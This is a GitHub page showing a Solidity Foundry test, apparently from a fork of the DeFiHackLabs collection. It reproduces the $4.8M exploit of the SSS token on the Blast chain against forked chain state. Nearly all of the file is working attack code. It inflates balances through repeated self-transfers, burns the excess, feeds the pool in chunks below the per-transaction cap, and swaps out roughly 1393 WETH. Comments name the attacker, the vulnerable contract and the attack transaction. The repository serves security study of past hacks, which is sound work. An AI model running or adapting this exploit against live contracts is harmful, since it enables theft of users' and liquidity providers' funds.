forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
SSS_exp.sol
92 lines (75 loc) · 3.76 KB
/
SSS_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost: $4.8M
// Attacker: 0x6a89a8C67B5066D59BF4D81d59f70C3976faCd0A
// Attack Contract: 0xDed85d83Bf06069c0bD5AA792234b5015D5410A9
// Vulnerable Contract: 0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed
// Attack Tx: https://blastscan.io/tx/0x62e6b906bb5aafdc57c72cd13e20a18d2de3a4a757cd2f24fde6003ce5c9f2c6
// @Analyses
// https://twitter.com/SSS_HQ/status/1771054306520867242
// https://twitter.com/dot_pengun/status/1770989208125272481
interface ISSS is IERC20 {
function maxAmountPerTx() external view returns (uint256);
function burn(uint256) external;
}
contract SSSExploit is Test {
address private constant POOL = 0x92F32553cC465583d432846955198F0DDcBcafA1;
IWETH private constant WETH = IWETH(payable(0x4300000000000000000000000000000000000004));
ISSS private constant SSS = ISSS(0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed);
Uni_Router_V2 private constant ROUTER_V2 = Uni_Router_V2(0x98994a9A7a2570367554589189dC9772241650f6);
Uni_Pair_V2 private sssPool = Uni_Pair_V2(POOL);
uint256 ethFlashAmt = 1 ether;
uint256 expectedETHAfter = 1393.20696066122859944 ether;
function setUp() public {
vm.createSelectFork("blast", 1_110_245);
WETH.approve(address(ROUTER_V2), type(uint256).max);
SSS.approve(address(ROUTER_V2), type(uint256).max);
}
function getPath(bool buy) internal view returns (address[] memory path) {
path = new address[](2);
path[0] = buy ? address(WETH) : address(SSS);
path[1] = buy ? address(SSS) : address(WETH);
}
function testExploit() public {
emit log_named_decimal_uint(
"Attacker WETH balance before exploit", WETH.balanceOf(address(this)), WETH.decimals()
);
//Emulate flashloan here with deal
vm.deal(address(this), 0);
vm.deal(address(this), ethFlashAmt);
WETH.deposit{value: ethFlashAmt}();
//Buy 1 eth of tokens
ROUTER_V2.swapExactTokensForTokensSupportingFeeOnTransferTokens(
ethFlashAmt, 0, getPath(true), address(this), block.timestamp
);
//Transfer to self until balance reaches target bal
uint256 targetBal = ROUTER_V2.getAmountsIn(WETH.balanceOf(POOL) - 29.5 ether, getPath(false))[0];
while (SSS.balanceOf(address(this)) < targetBal) {
SSS.transfer(address(this), SSS.balanceOf(address(this)));
}
//Burn excess tokens above target to avoid OVERFLOW error on swap on pair
SSS.burn(SSS.balanceOf(address(this)) - targetBal);
assertEq(SSS.balanceOf(address(this)), targetBal, "we exceeded target");
//Send balance of tokens to pair to swap in a loop,to avoid multiple swap calls
uint256 tokensLeft = targetBal;
uint256 maxAmountPerTx = SSS.maxAmountPerTx();
uint256 SBalBeforeOnPair = SSS.balanceOf(POOL);
while (tokensLeft > 0) {
uint256 toSell = tokensLeft > maxAmountPerTx ? maxAmountPerTx - 1 : tokensLeft;
SSS.transfer(POOL, toSell);
tokensLeft -= toSell;
}
//Use swap function in pool to swap to weth
uint256 targetETH = ROUTER_V2.getAmountsOut(SSS.balanceOf(POOL) - SBalBeforeOnPair, getPath(false))[1];
sssPool.swap(targetETH, 0, address(this), new bytes(0));
//Emulate paying back flashloan
WETH.transfer(address(1), ethFlashAmt);
assertEq(WETH.balanceOf(address(this)), expectedETHAfter, "Not expected WETH BAL");
assertEq(SSS.balanceOf(address(this)), 0, "All SSS tokens didn't get sold");
emit log_named_decimal_uint(
"Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
);
}
}